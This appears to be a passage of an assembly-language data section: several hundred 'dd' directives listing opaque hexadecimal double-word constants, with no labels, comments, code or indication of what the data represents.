		dd 5DF1C61Eh, 4DCD04F8h, 51E36014h, 126600F0h, 846EB83Bh
		dd 893D0097h, 0E28F02AEh, 0BF2EBB10h, 80390591h, 1BF5166Eh
		dd 1972103h, 827FA05Eh,	0F9CE9CD9h, 73A4E423h, 8A539628h
		dd 0EAD0C900h, 0D4414966h, 0A17001F2h, 0B45D95B5h, 440DFC37h
		dd 9C48CEE5h, 0A40032ADh, 3D86BD31h, 71D1FBh, 761653C4h
		dd 95E3F4B6h, 0DF0063F4h, 69DD09C3h, 72F10B2h, 1E3F56ECh
		dd 0EEAC04Eh, 431F7C1Dh, 0E2C29251h, 80EEF687h,	0AA89498Ch
		dd 2D97016Ch, 0E4DA088Dh, 0FCAC20FAh, 0D44CC507h, 1690D288h
		dd 1DF08EF9h, 0C46BA44Bh, 93A52BA1h, 2DA8B8BCh,	481FB4B5h
		dd 803DD25Bh, 0F0389541h, 907D6DD1h, 0CDCB00C0h, 0DBA02D75h
		dd 0AC1EEB56h, 0FD4C4936h, 499270DDh, 0EE00B4E4h, 0D5CB2DA7h
		dd 38009632h, 0A6E18889h, 9C3A0F7h, 0B930C506h,	1F909000h
		dd 8539BEF1h, 23A87C7h,	21D05D4Ah, 308D2EC4h, 0E428BCC0h
		dd 1800C1A8h, 0F9790BB9h, 43116Ah, 0A5A121A9h, 7EEC2649h
		dd 0A4239h, 0B95F8971h,	0CE46C612h, 1CC09C62h, 81E12F80h
		dd 0C0D65030h, 0BF3F7h,	0AD6FB1B8h, 6A8B2ED7h, 55C94900h
		dd 0FB625090h, 0EA740059h, 0FEEE2FD9h, 0B600F654h, 24891ADFh
		dd 3FD8BAh, 0CD9D143Bh,	1F76E2BDh, 9441E90Bh, 0B5FC016Dh
		dd 5220A504h, 0B6D815F8h, 4A00B8E8h, 0C2FD3986h, 35FABF45h
		dd 4B10EF00h, 0C09DA55Bh, 42548DDh, 0B3DA8700h,	46F57C8h
		dd 0BCDE000h, 187EDB91h, 0A909001Ch, 13A519AAh,	0E090DC33h
		dd 72942A00h, 673926EBh, 0D2230074h, 5A4D50A0h,	4B1D578Fh
		dd 84806621h, 0F99832F2h, 0B3541D13h, 0BB038009h, 834F70FAh
		dd 78FD9400h, 0C050B7E9h, 570B1A2h, 0C0AE39E6h,	0C34A664h
		dd 9D8A9B13h, 3D1DC000h, 40794C59h, 0B21F20F0h,	0BA833866h
		dd 0B0BD1B91h, 0EA9C4BCh, 0CCC6C151h, 182F3E09h, 92CC40F3h
		dd 7277EA93h, 0B7DB3600h, 8BC7C3E0h, 19490A1h, 99AE5639h
		dd 23D229F2h, 443C0BACh
		dd 0EC9E0030h, 0E904E69h, 6DD4A66Fh, 0F4AF0F40h, 0BC00933Fh
		dd 8160FC7Eh, 28272BDAh, 0E9D841C9h, 81020h, 6C537328h
		dd 29C314B2h, 0D4BC1A00h, 6DD07E59h, 0B1D9003Ah, 0AA288E18h
		dd 487689F7h, 570F7190h, 801D73CCh, 9E1C6743h, 413E0081h
		dd 0C2CDAF02h, 26009D44h, 5A5BC31Ah, 0CB7B92h, 439F1C0Ah
		dd 0EE653B82h, 15A0F300h, 0A178BC68h, 470B00D9h, 928B466Dh
		dd 263BC2F7h, 0EC7D8206h, 0E0F3A674h, 54AC53Ch,	0FFEBBE34h
		dd 50E8C069h, 6000E3A5h, 119B5F4Fh, 1709067h, 0FCF5F303h
		dd 409C537Eh, 8CE88EA4h, 9998E728h, 912FA800h, 0EA23B00Ah
		dd 46D000F9h, 2B059E45h, 6E18FB99h, 9C305B7Fh, 0A616022Ah
		dd 1378E30h, 0D1217069h, 2CD3FC31h, 9BF5A900h, 0AC30E267h
		dd 0B36400EDh, 95481643h, 0C80F8B57h, 83A6E8h, 9E88EE2Ch
		dd 991703D8h, 9547DB07h, 7303D87Ch, 3027A8Ch, 82ADF8CBh
		dd 0AE8D0005h, 5E501FD0h, 7E0F3078h, 0E05603C4h, 1D2B81E8h
		dd 8C101F6Fh, 886D005Bh, 3DFA652Fh, 33550701h, 0F11585B1h
		dd 3FEC5D71h, 77A700A8h, 5D29E61Eh, 0AB041DF6h,	1B820822h
		dd 0B8CD4880h, 13550098h, 0E706DF9Dh, 8507622Ah, 5E1E466h
		dd 86616531h, 2DE9CCCh,	0A501E20Bh, 1886118Ah, 9F0E111Fh
		dd 61D20525h, 554FB24Ah, 1A074828h, 0E0F8AA80h,	1F5CF2D7h
		dd 0A361DF00h, 42DD174Eh, 518112F4h, 4C9045F8h,	441C006Ch
		dd 4AD65987h, 725B6703h, 0E7CBC8ECh, 27A7DF80h,	79037CBEh
		dd 0D07AACh, 0F9CE5D4Fh, 650E14C0h, 0F3067900h,	37A4B14Ch
		dd 82220053h, 6A09D396h, 0FC005AD8h, 273B2C1Ch,	30C751h
		dd 763FEC9Bh, 4AF33692h, 0C0C66E1Dh, 0A3DF2600h, 0F2DDB85h
		dd 8218B9BEh, 973C3A0h,	31C05DD2h, 13E59868h, 0AC2E543Bh
		dd 97853783h, 500580C8h, 4E1916B7h, 3878B488h, 6CF01447h
		dd 0E1C1C4h, 0F8B7FF6Ah, 0E7E34DBCh, 0C60C8500h, 141C9D21h
		dd 93C80071h, 4E8615C5h, 0E500A6ECh, 68BE5442h,	3F836736h
		dd 690E97B5h, 0F680AE22h, 92FA19C0h, 0B30E5F07h, 55C39E0Fh
		dd 5023A8F0h, 3BE738Eh,	0F2B44BCFh, 54902C6Ah, 512E0519h
		dd 0F6004F08h, 92D8320h, 7C50067h, 33AB1F56h, 71F80CCAh
		dd 58129E00h, 8AB83AA6h, 0CF59004Fh, 6CACE355h,	0C116FE89h
		dd 0E0008012h, 6DF27243h, 0E6810051h, 0E4ABBF07h, 4C7361EAh
		dd 92EBFC0Fh, 48A78075h, 2E834D8Fh, 27A03F0h, 91E3EACAh
		dd 0AE07A4ABh, 0B804505Ah, 1366FEB4h, 21F509h, 9C5BBBEEh
		dd 19BA60Eh, 703B7800h,	97C485F9h, 0D39E0139h, 0F7084A19h
		dd 63188316h, 0A71203h,	0EBADAE41h, 0C64534C0h,	4C92DF0Ch
		dd 0C0B508EEh, 0C0D18C21h, 0EF011167h, 0E7457BD0h, 588E91BEh
		dd 0B3801084h, 0EF5185F8h, 0B6030D9h, 0C0082218h, 0C4EE453Bh
		dd 0D08D40A1h, 0F0B23C0h, 508E4A72h, 0F12E9B60h, 0AB77F821h
		dd 0BDE629C0h, 3917E08h, 0A5B44559h, 69E6C4FDh,	0D7010B71h
		dd 85C694E2h, 2FE44EACh, 0EC10C1D2h, 28E3C1FBh,	0BACD00B0h
		dd 98755217h, 0F9F30C16h, 7E083E83h, 10D521C0h,	0F67252h
		dd 0FCA97455h, 9384E2C4h, 886C450Fh, 6D414FAh, 0FDF456E1h
		dd 0C090720h, 4025F66Dh, 0F31176CDh, 2086A202h,	0C040A9C7h
		dd 1DA8951h, 79210445h,	0D82C7843h, 1700FB7Bh, 2B0ECEFCh
		dd 0F5A36A4h, 9841CF53h, 9E24F1E0h, 47008DE0h, 9BFC685h
		dd 7A197DFh, 64398BA8h,	0CBCDA068h, 0D03C545Dh,	1CC1002Eh
		dd 25701B48h, 1A6200C0h, 0B9FF1265h, 500CE3Bh, 0EC408FBBh
		dd 251BF2Eh, 93D1D88Bh,	6CE0A539h, 0F50F5EB9h, 8E2ACFADh
		dd 0FBE980D7h, 72054888h, 0DB4003A9h, 5CC5B23Dh, 0C72AEF0h
		dd 0A330F761h, 49F8F114h, 0E9277EDh, 0BEEA7A53h, 0BB21898Ch
		dd 0A3DF800h, 0A4F02BEFh, 0B6A8065Fh, 50ADA923h, 67CBEC0Eh
		dd 8203BF81h, 1A56F1D0h, 40873518h, 48789341h, 3D04EF38h
		dd 0BEA2ED1Fh, 0AEFC31h, 3DF6B5h, 0E6FD5E0Ch, 64AB04FBh
		dd 0F235900h, 6F799CC7h, 0C73D7D16h, 4183F431h,	80AC4C53h
		dd 0E5774D11h, 0C1EDEBCh, 1F27F8F0h, 21C0B808h,	6AE57AEDh
		dd 2AFF0CDFh, 115136A9h, 1A000998h, 0F2B9C214h,	0A95062F8h
		dd 6DC4C3ACh, 3B28B66Ah, 49B8228Fh, 20F28D66h, 6D4B1C00h
		dd 613493D5h, 5C9A018Ah, 8BDF4C10h, 0C651B813h,	646CA102h
		dd 8931302Fh, 6D881E13h, 1D71BD1Ah, 8E058778h, 18975C7Eh
		dd 5F605018h, 0D810C045h, 9AEF0534h, 0F4873B00h, 0ACEF8F7h
		dd 51B93A93h, 200E8D8h,	0CF5D2EF9h, 9A003657h, 989B6DBFh
		dd 0EA95B519h, 3CB80083h, 12DAB3E6h, 0F3011EDCh, 21A918BFh
		dd 7DC07CF4h, 241900DFh, 0FC286F20h, 9100F36Bh,	0AD5E952h
		dd 6E803Fh, 0B1DAB6DBh,	0A7095802h, 3E67C101h, 20D8BE21h
		dd 0ECA9F70h, 0C63CA2BDh, 81DA74C0h, 8F00E80Fh,	5875CE6Eh
		dd 3ED79038h, 500C79D2h, 1E186B44h, 4D2CFF00h, 54BD4BD8h
		dd 38C001Ch, 0F977116Ch, 3C07C43Dh, 20F29CA1h, 0BCCBABC0h
		dd 46BF0043h, 60DE1B39h, 0BB000770h, 7604A2A3h,	401F9950h
		dd 0A700AA0Ch, 0DEF4887Dh, 406F38B1h, 5F188101h, 0F5D879D7h
		dd 24671D3Bh, 0A3878059h, 773D723Ch, 0FE47DA02h, 0FD8BF4E4h
		dd 7B1D9B80h, 87FC26Eh,	78035A74h, 0F95CA211h, 0FAF038F1h
		dd 81F5B883h, 80A49946h, 670A9FCDh, 5C5E8F00h, 0F93B1627h
		dd 0B8E40082h, 0B46BB1E5h, 9878F5D4h, 8FFEE200h, 49025A89h
		dd 0CCF400D0h, 0D69F2AADh, 0E1189BDBh, 9E61F3FAh, 84700092h
		dd 6BA876C2h, 0F800FC3Bh, 0BF7F8E0Fh, 16B76429h, 0FE4B8B2Bh
		dd 4DC5300h, 1C41038h, 72221449h, 0D47A92F5h, 10003BBh
		dd 0A10E269Ah, 10CA559h, 0E1CE9057h, 838D6955h,	0A6F0E470h
		dd 783F98B4h, 87E906F8h, 0D8AD6320h, 25339724h,	0A1FBFE0Ch
		dd 0C06A7893h, 5BFDC538h, 8F0019D1h, 0F3EE2A23h, 0D0F15h
		dd 0BB21E9AEh, 0B090DB4Ch, 6010A405h, 43C0AB7Ah, 57F0CFh
		dd 0F4A254E4h, 301EED4h, 950798ECh, 0DCC36F8h, 7D94BF80h
		dd 69513DF9h, 0E2026E00h, 44DB0C8Ah, 11E8C1Ah, 7AF14012h
		dd 4BB8F0h, 0E33A728Eh,	78F6C2D1h, 6A00AAF8h, 213FC695h
		dd 4EEC65h, 221A9118h, 7FF9E76Bh, 8600E4E4h, 7B8F2090h
		dd 0DE5199FAh, 92590038h, 5DEF0624h, 0CBF49E19h, 219C5709h
		dd 0E93EC0B9h, 449B88E2h, 0D4890F0Fh, 294FC08Dh, 37EFD9BFh
		dd 0A1A020ABh, 0BC900F3Fh, 0C0A60038h, 91C8780Bh, 26CD1F54h
		dd 4FCB066Fh, 0B006D890h, 9E0C3A9Ah, 0F05A0031h, 176285B4h
		dd 0FD1D5FD2h, 603BD3BEh, 0B5FBCC21h, 1CAC0080h, 3028D85Ch
		dd 0E30067A7h, 0D42687ABh, 1627A93h, 8EF97CD2h,	5097A57Bh
		dd 3F249574h, 0C921EF7Bh, 7BFE08F5h, 0C5018410h, 0DF454E6Fh
		dd 7DCE60FBh, 9DFC6604h, 0BA1EF0h, 25CE9532h, 46004385h
		dd 0B737687h, 0EF9FA4Eh, 0E571806h, 6ED6F2C0h, 4000B4BFh
		dd 46A66CB2h, 0F8E1A88h, 1FAA4C79h, 49B400F7h, 71F5FD4Eh
		dd 0EF02A11Ch, 50F2BD80h, 1CDA0F03h, 40F6FC55h,	89DF917Ah
		dd 7000D0E8h, 0D7AC4A7Eh, 192C0F1h, 51FA30A7h, 0E5D9F5C6h
		dd 0C914D805h, 12C3FD00h, 41DE820Eh, 0A54200BBh, 0FE0D92A8h
		dd 2DE89B11h, 0BD201760h, 621BBDAh, 0D3C79162h,	500039DEh
		dd 8BB9C341h, 7DEB9280h, 872F3A3Bh, 0CF687CB1h,	0C5288C7Dh
		dd 267E08DDh, 0ECE3ECh,	0DC749E72h, 0FA3034DBh,	5D03690Bh
		dd 0F978001Fh, 73168467h
		dd 0C40CF753h, 0C8937F41h, 1C49CE15h, 24C6B083h, 9B1148h
		dd 0ADCF0140h, 6659C250h, 210D089Dh, 40C96400h,	0FDE03799h
		dd 1FE1E015h, 3FB1C1h, 0FE1341D8h, 660730A3h, 6B29D774h
		dd 0D8FD05F3h, 4C92ADEEh, 3005413Ch, 20B20E1Fh,	340363Ch
		dd 3F9DCF23h, 9E1F52C4h, 0ED58C43Fh, 0E4AA1210h, 0F74C0083h
		dd 9BAD6037h, 6A00E078h, 9F52670h, 3873D43h, 62188E12h
		dd 80100E71h, 0CA00C7BCh, 36CEA0B9h, 1D00D9B2h,	10BD568Ah
		dd 6C391Ch, 90CCE1E4h, 5C47E52Eh, 98B70503h, 0F0256F66h
		dd 101F87h, 0E0160D03h,	0CB1D0D3h, 0C0CFEC1Fh, 0F50B3481h
		dd 6CE88807h, 81FB0308h, 0ADDCE849h, 0BB5691B0h, 39314E1Eh
		dd 0AB96DD41h, 0BC8D2A6h, 81650237h, 0AA4F6AB1h, 0E84D0E41h
		dd 90361BAh, 0A9596E20h, 0B5D8B81Ah, 97680099h,	0CC245392h
		dd 703B7D2Ah, 4D1E9FD4h, 2200E92Ch, 0C80CA4C7h,	0D818C0E4h
		dd 0F2668674h, 2BCFD303h, 0C785D47Ah, 77457630h, 8952064Dh
		dd 881A562h, 1621D860h,	0F02F50FEh, 0C91100BBh,	0A791D3CAh
		dd 0D40396E0h, 55A33901h, 648789DAh, 486A2F70h,	406000E9h
		dd 6CDD4DACh, 0AD3C5C28h, 0E2401E52h, 7BE23002h, 6EC47600h
		dd 5D2FAE79h, 50BC60A4h, 71EAAF4Dh, 0AC7DD3Ch, 34BE3C7Ch
		dd 602DE208h, 4F584575h, 658C5A43h, 4B487954h, 777A030Dh
		dd 0A655BDEDh, 1FDB0020h, 51A1DF1Bh, 840F2E89h,	548C70h
		dd 0C9CD583Fh, 837B01EAh, 0AEB97766h, 0C8909716h, 0A2D0FA00h
		dd 5CEE6Fh, 0F81A46A0h,	0CDD5D97Eh, 0BE0091F8h,	6C9D3A3h
		dd 0F48E17h, 0AC8C4908h, 0A6B7CA75h, 2C1D7904h,	54802836h
		dd 7E25C70h, 8D25E8B6h,	0C020DF9Dh, 55F2BB6Ch, 84C58F01h
		dd 584EE634h, 90D5D8D7h, 8AC301AFh, 5A155666h, 7FB7E4D6h
		dd 3200057Ch, 506EDA19h, 3DB0E8D2h, 0C9031644h,	5191D5B9h
		dd 8CB8C6EBh, 791F8034h, 0B700BA28h, 94D17BE3h,	0DAB901C8h
		dd 0C79EED57h, 106FC04Eh, 0C3963Dh, 0D80F11D2h,	8A1225h
		dd 8C02D5A2h, 5F51FC22h, 0C6313F01h, 721AA7Fh, 0E68067D1h
		dd 3BFCFFCFh, 20EA600Eh, 0FD623100h, 2CC78173h,	0D18B6059h
		dd 94B86C50h, 0B9C1AA00h, 51830174h, 590B0020h,	0A35A23DBh
		dd 0E400CA48h, 0D06A4793h, 0F4461Fh, 82BEB595h,	0B7C3757h
		dd 1814BB30h, 6283DCh, 0B22F72FCh, 171A293h, 30EF300h
		dd 1499E4C9h, 568310C5h, 7E4C070Ch, 0F3693B7h, 1AB80010h
		dd 0A8534679h, 83006D90h, 0D4C95B36h, 7844E6A7h, 0A15A3C84h
		dd 90FFC28Eh, 7402F960h, 13052CF4h, 0EE7F8FAEh,	0FF799801h
		dd 3770F1A4h, 50760183h, 6EEBF32Eh, 14C09C43h, 0D7138DC0h
		dd 3C0F3Dh, 0A034034Ah,	0C3920E2Ah, 45270D00h, 0F08B4996h
		dd 5C643DFDh, 4A2C5A01h, 0B820B779h, 0F66680D9h, 3751DF8Eh
		dd 39B03D0h, 5DDD9C72h,	1B801AC3h, 4AEE9167h, 7E400401h
		dd 0B63A8B21h, 0B8BBE0h, 0F73DD69Bh, 60A2FD1Ah,	0DC00787Bh
		dd 86F3E259h, 9531AEh, 9664DFEEh, 0BC7D34D5h, 6CE1DA00h
		dd 0E263B185h, 1CB303C5h, 1D289E59h, 80D5E6A1h,	63BBCC20h
		dd 0E90A5DECh, 0F37D30h, 0E3B5A7D6h, 3101F090h,	8AB058C0h
		dd 15C3585Dh, 307CF3D4h, 0B163B800h, 58CA1BC4h,	0D2822084h
		dd 63A08700h, 44F10949h, 35D13E8Eh, 400B59BBh, 0F01B048h
		dd 80FD031Bh, 5DB46591h, 0C0E8271Eh, 0F3FEBA11h, 0FA031915h
		dd 0AC5FB178h, 60A30Dh,	8CA71C21h, 0ED9F95B0h, 8A79EE26h
		dd 6AD6FD00h, 3C494F2h,	29F75F59h, 0B7E007A8h, 0BA28725Dh
		dd 0EA0430E6h, 0DA18FEA0h, 10236362h, 0A3A08FF3h, 0A8C589B5h
		dd 0E31388h, 0CD1E6086h, 0ECCA44CFh, 656D3D02h,	80E241DAh
		dd 4BA4B6ABh, 18DE06E8h, 2129E9BEh, 0BA1EAA71h,	0EA408671h
		dd 1044D73Bh, 0B50600E3h, 0AD3CCD13h, 0BE179916h, 9400527Ah
		dd 47952E6Dh, 0DB3A00A5h, 7C2ABB17h, 70EFF38Ch,	0D4004039h
		dd 0DC3294FEh, 3A26080Ah, 44B91FB3h, 371D0189h,	6623CB80h
		dd 0F3B0892Dh, 0A9FCBA0Ch, 8C8850h, 65B05A41h, 0A324E1A4h
		dd 6E0082B0h, 97842C3h,	2E1F1CFAh, 8C4906h, 0CB347EDFh
		dd 7F06A502h, 4801ECBBh, 22171C90h, 0E38B4042h,	3C1ED2EEh
		dd 0E475EA72h, 8EB02D6Ch, 9B0703C2h, 0E565BDA7h, 7D3C2802h
		dd 0E0B483CAh, 1FD395Bh, 0C06EA21Ch, 0E01B7A3Bh, 0E90C504Bh
		dd 48DB560Ch, 30717B41h, 0CF784FD2h, 19C0D33Ah,	0A5142A5h
		dd 0FDDC0861h, 8D1F261Fh, 0F6D3FF80h, 0E3D2DA24h, 0E65EF8h
		dd 0D6E86E56h, 0BC151471h, 0DF7E5A70h, 97078A70h, 70C84AC5h
		dd 0F937AC50h, 0CE980044h, 3D8D2F88h, 0CBF90F5Fh, 70646999h
		dd 500DDE1h, 3C8783B2h,	0F166C7h, 0E05B44BAh, 23FE28E4h
		dd 0D19F6B0Fh, 82E000Bh, 7A4B4CCCh, 0AEA63A5Bh,	0B17D320Ch
		dd 8273DC48h, 0BB0080F6h, 1468E742h, 0B56AA8h, 164E3B3Dh
		dd 0E5564B75h, 0D531DA03h, 88E8F767h, 0E935FCh,	1EB8B7EBh
		dd 0C62505D1h, 0C928940Fh, 806940C4h, 21A640h, 4AC843EEh
		dd 0F37E9A9Dh, 70037D1Eh, 3F74AD40h, 12A3FBh, 234A05F6h
		dd 733B8FCCh, 0C5256800h, 50B7EA98h, 0FFEF00A0h, 0BB276FB5h
		dd 5400D3E8h, 8A5E5F8Ch, 0B62248h, 0C6D9B113h, 36B2DEDDh
		dd 0BB874300h, 78F746F3h, 0F0771D6Ah, 3F374359h, 6580A9B3h
		dd 4D606DEEh, 10815021h, 2D4A0011h, 20F0F6DCh, 2A00F1C5h
		dd 0A4CC1359h, 33F826Dh, 0E345EDA7h, 38009ECFh,	63F8FB5Ah
		dd 1B7C3291h, 188258C2h, 0BC0875E9h, 0FE012E20h, 30DFD00h
		dd 0E8111385h, 0F17EB8D7h, 3B7398E4h, 53877187h, 631585C4h
		dd 0DC83D767h, 0C3294100h, 9AA37248h, 1C2D00A7h, 0BF26354Ch
		dd 5503FFC0h, 0A17BB33Dh, 3E808C3Bh, 3C018Dh, 84BBE963h
		dd 0E5DDF6E7h, 0D58B2D1Dh, 6BFC69C7h, 2E72D850h, 7C310047h
		dd 287A4663h, 6E005C91h, 0EE75DFD4h, 0C1D10596h, 213B8B31h
		dd 689FE47Bh, 39E6DA00h, 8FD95344h, 0F7B5002Fh,	0CBD3D1F5h
		dd 8EE87ABAh, 0BEA4D001h, 0C595E194h, 7CA25EE0h, 0DDD5007Fh
		dd 0DE4C26E2h, 0C2005C37h, 0F4600AEFh, 3E82ECDFh, 0F10F4F7Bh
		dd 68234E81h, 0B8C1D5C6h, 800321F0h, 0BCFC1F40h, 0C59215h
		dd 892102E4h, 78A51E48h, 0E0E17C01h, 604C3143h,	0E4C5D5C4h
		dd 0ADB84Eh, 6DF0E7B0h,	0B4AAF61Bh, 116593Ch, 0D079D5D2h
		dd 7885711Eh, 0C0B31BA0h, 7C4BFCB7h, 0EFCC1C00h, 7302B003h
		dd 6860FCE6h, 502C98DCh, 0F6786B2h, 0BF66048h, 0B7410CF1h
		dd 0EE19D783h, 230A43FCh, 84679FCFh, 0B3DD8D05h, 0D95E8800h
		dd 29BA2FFDh, 198E7F4h,	1C6A3B9Ch, 0D6BBC0C8h, 78244E00h
		dd 0BD937F7h, 0D8F22Dh,	0C1AC3E20h, 8363BD2Ch, 89444500h
		dd 0EF366995h, 273D014Fh, 646A6837h, 872451C9h,	52E400D0h
		dd 21CF0389h, 5F795C69h, 87F1900Ch, 0CD2B90Bh, 7CA3343Fh
		dd 4A5D111h, 0A8EB6AF8h, 1F3D5494h, 0C0063B93h,	35CE3836h
		dd 2207FF03h, 535BC41Ah, 8824CAC3h, 0E5F2ADh, 6B296EE0h
		dd 0DCC2EA13h, 66005DEAh, 0D005FF73h, 0FCF0BBAFh, 3DFB07B6h
		dd 811B2963h, 30B3D88Bh, 0BC0F77AEh, 20CBDA52h,	2C7181C5h
		dd 760A059Ah, 0C0DBE623h, 3EFAECC9h, 0C400AAFEh, 10A60256h
		dd 3617F5h, 857E4DADh, 0B36F4762h, 28EAA300h, 4B066BD1h
		dd 93B055h, 0EF8DBEF7h,	395DAEF9h, 7A6CB800h, 0EA42C770h
		dd 0D8F53B75h, 55D32400h, 9E4B92BFh, 0BB265914h, 0F3AF00C4h
		dd 4FE34617h, 9110007Eh
		dd 114DC835h, 0E0007B83h, 0A2F55676h, 6B1F18h, 0AFD3DC44h
		dd 4BCF1BCDh, 3DFE2F01h, 0D880E83Fh, 1D84FFD4h,	4081AC1Eh
		dd 96DA0C2Dh, 0A000AA10h, 0E4C7AB42h, 7839A2h, 5DDDB01Bh
		dd 89C3F9B8h, 11D43450h, 0A4525A38h, 9C002583h,	7B1EC7Fh
		dd 13570E91h, 0FE80AAD2h, 98EA8725h, 2EA7F60Eh,	80304E55h
		dd 88E9928Ah, 5774BEh, 0AA4C369Dh, 0B9F8ECB5h, 8802D824h
		dd 4EF0A300h, 0BF2B53h,	9E3A158Bh, 38866C9h, 95244507h
		dd 2650B767h, 1D3C92h, 0F5ABA0Dh, 0F5AE1E87h, 7F7DA700h
		dd 0D3BB2DC3h, 0FA3305DCh, 1D89B7E9h, 9B4F40F8h, 7D362F26h
		dd 14FD7E00h, 81A425CEh, 49F40367h, 6854F0C2h, 479DEC8h
		dd 110B1A00h, 5DD5038Dh, 660A003Ah, 3D42454Ah, 2400884Fh
		dd 0ADECC00Dh, 1B1949Ah, 0A0CEBD7h, 0E813553Bh,	0E20F3FA2h
		dd 0C0FE66EDh, 0CAB35A53h, 3E64007Ah, 1A24120h,	0A5002BBAh
		dd 33D9EAC1h, 0B291AC6h, 0C3ABD1BCh, 1F79D280h,	0D5035AEDh
		dd 11F57A10h, 2A43904Bh, 0B434397Dh, 67943F00h,	8B92FFBAh
		dd 9A103530h, 0CB583Eh,	0FBED7FA6h, 0BC259559h,	0E7542102h
		dd 40DE4E29h, 778506AEh, 0B6D5002Ch, 0BB485BEDh, 0AA001668h
		dd 4F70A5BEh, 243D0D47h, 648BFF5h, 58A6C004h, 3EAF0800h
		dd 1324814Fh, 8BF900A4h, 324B9905h, 6C00BECFh, 5E162AD4h
		dd 96D386h, 231B8A52h, 274A9148h, 0D492F104h, 0F601BB3Ah
		dd 0E830936Fh, 2D014C42h, 0FEEAC854h, 8E219CE3h, 88FD95FDh
		dd 0D889E443h, 3E3DB881h, 0E6AAE961h, 46B000F0h, 4B393C2Eh
		dd 6001B933h, 861C61Bh,	8E60E7ECh, 0F4F2A25h, 0B5775Ch
		dd 0ED72B713h, 0F9EC1CD8h, 65E1862Eh, 4C830D03h, 0F05CE88Dh
		dd 5A960FE6h, 0A6093772h, 0C861808h, 553EFE3Ah,	88E98E24h
		dd 0A61D0D00h, 7AC298Dh, 5C9D2BE2h, 74A0A006h, 0B8307813h
		dd 6D23E0B5h, 547A9Ch, 6780DEA2h, 9B7CB177h, 56F02C54h
		dd 0B720C300h, 1E623398h, 7F8B0068h, 7147626h, 4207822Eh
		dd 0FD40969Bh, 19C41FD0h, 2F200F5h, 9323C236h, 8901EC25h
		dd 0E2D1663Bh, 2489B6ABh, 0B4837F2Ah, 6080A838h, 3B00A2B9h
		dd 0A52536C1h, 157DD1Ch, 1D9C708Fh, 8FF7D818h, 20A131D8h
		dd 0B0620C4Fh, 23EF008Ch, 3DE04D01h, 0A307F069h, 57607770h
		dd 0CEBD43F0h, 992A0EBFh, 401E85D8h, 0DC719AD6h, 0BA0040B5h
		dd 0CA685093h, 0A924ABh, 0FBD0A8F4h, 0D2ADE53Eh, 8C00FA70h
		dd 35903D5Dh, 3BB812h, 60C9CE81h, 4841CF58h, 0B5051A00h
		dd 6ABCBDD9h, 0EF8E3E7Ah, 0CA7D068Fh, 0DE035BA9h, 0B4909091h
		dd 0E1489BFBh, 0B39A0014h, 24DBF8A6h, 0A3DC005Bh, 0A1ADC675h
		dd 0BD03A0B0h, 91C73325h, 0EFFCA07Ah, 0AC1C00FEh, 6874AB73h
		dd 0F8000EFDh, 0C99159E1h, 1E484304h, 410BDAh, 7B45B323h
		dd 9B049276h, 0F799CC7Dh, 1F52B480h, 0B9EC0058h, 4F811AD7h
		dd 3700CDDCh, 0E95AA869h, 260ECFC1h, 0AD7E23h, 77CC7AE2h
		dd 430E9ED3h, 2053385Ah, 0F8E3FAB7h, 60E90098h,	0DE8B2A6Fh
		dd 7D01CE66h, 0F3CA0229h, 7020A49Bh, 8AC50051h,	24A1F7C6h
		dd 0E8B20E9Ah, 47222907h, 4AF2688Fh, 35ECA0D6h,	48FB2145h
		dd 272470E7h, 9F31365h,	3C009F18h, 0EE8BE611h, 0D0684Ch
		dd 1FDBBEA0h, 4C1998Ch,	0B606A629h, 68C090DDh, 32125FE0h
		dd 0DC40E493h, 71939ACh, 0E8E6007Eh, 880F5990h,	0C70A8441h
		dd 3CF88970h, 4D3A80BEh, 40696A64h, 0E5EB002Eh,	0E0B34CAh
		dd 57B038FBh, 957B0900h, 9682CD45h, 8F5094Dh, 0A000024Eh
		dd 0D4CF3760h, 347AB00h, 965F09AFh, 73A37A81h, 0B9CB0029h
		dd 9B9A337Eh, 0E5703865h, 1BA59600h, 0CFF9B2F5h, 48BAD6h
		dd 6CCC55BDh, 1D9B91Dh,	0A1FB5200h, 427A6D34h, 31D400B5h
		dd 4E05DA87h, 9D00EC63h, 0A315C750h, 0EE5203E0h, 0B4A900B6h
		dd 0CBEF93BCh, 0A03D6F8Fh, 0A16C480Ah, 14608103h, 24017588h
		dd 844D51h, 94B1DB1Dh, 0C5F8A864h, 5906D0EBh, 0E05E322Ah
		dd 0C05D1B0Eh, 0FCFC6A0Bh, 88DF8CD0h, 82F61BBBh, 758D9000h
		dd 2EF86B79h, 64594CB0h, 2624B300h, 639732E2h, 0BAC4B00h
		dd 0A3E0F3F8h, 98BF1F42h, 66768312h, 1C08B2Eh, 600547Ch
		dd 0E8A2CACBh, 4C4D9DA0h, 5205A85Bh, 9A1DE7h, 76782ED8h
		dd 3C09E36Dh, 216C63E2h, 44743944h, 0C33B020Ah,	0E6F2C7h
		dd 75D91123h, 5E005BF0h, 598E16E8h, 6B31A273h, 0CF00F094h
		dd 4C9D085Fh, 0D500ACF8h, 0DEB121F1h, 0ED6C1Eh,	5E689027h
		dd 364FA4CFh, 5F1D0403h, 7745C6h, 9D629B20h, 444C0826h
		dd 0B600C773h, 3509CBD8h, 3BA2B2D1h, 60E365EAh,	1C836213h
		dd 0C5D01D81h, 0BF7FED0Fh, 42550049h, 76BF3268h, 0DCE000C8h
		dd 238449DEh, 0EF2C969Ah, 0D93A59AAh, 0C0F500C8h, 0EB8F0335h
		dd 4C35910h, 0B8C88805h, 31B88CA2h, 6BBB40h, 87334CFBh
		dd 4AA75AEBh, 0F7B6DA01h, 0CF39235Ch, 29C291F4h, 3E82DF2h
		dd 0E53544D0h, 38AC00D5h, 372CFF4Bh, 0ACB51600h, 7EAD08A8h
		dd 777300FEh, 56693E0Dh, 470E232Ch, 848F8AEEh, 40B07CA7h
		dd 0DA452461h, 0CEF58BF8h, 0EF0CC020h, 491770Dh, 8137F380h
		dd 0EA6AA17h, 1309952Dh, 7800B769h, 42012A2h, 28E04900h
		dd 30733435h, 0C9B300D9h, 0A651DF2h, 1900468Dh,	7C56EC71h
		dd 7C3E092h, 9A8BBFBAh,	9552B02Ah, 78160B5Ah, 0D84F175Bh
		dd 7B007150h, 4FA9F43Ch, 5D000A61h, 8D9DFDE6h, 182D217Fh
		dd 16C56FB2h, 0EC723ED2h, 28109603h, 0A820DDC8h, 0B0CBB49h
		dd 0F8FFEFDCh, 47150A80h, 0F404FBAFh, 76558E5Bh, 0DAAB5891h
		dd 0CAA0D857h, 0E836B2h, 322847B7h, 95890981h, 92A06700h
		dd 0F85271CCh, 72BD01CDh, 0BF0D0A15h, 0A0F04C5Eh, 0DEA8BA5Ch
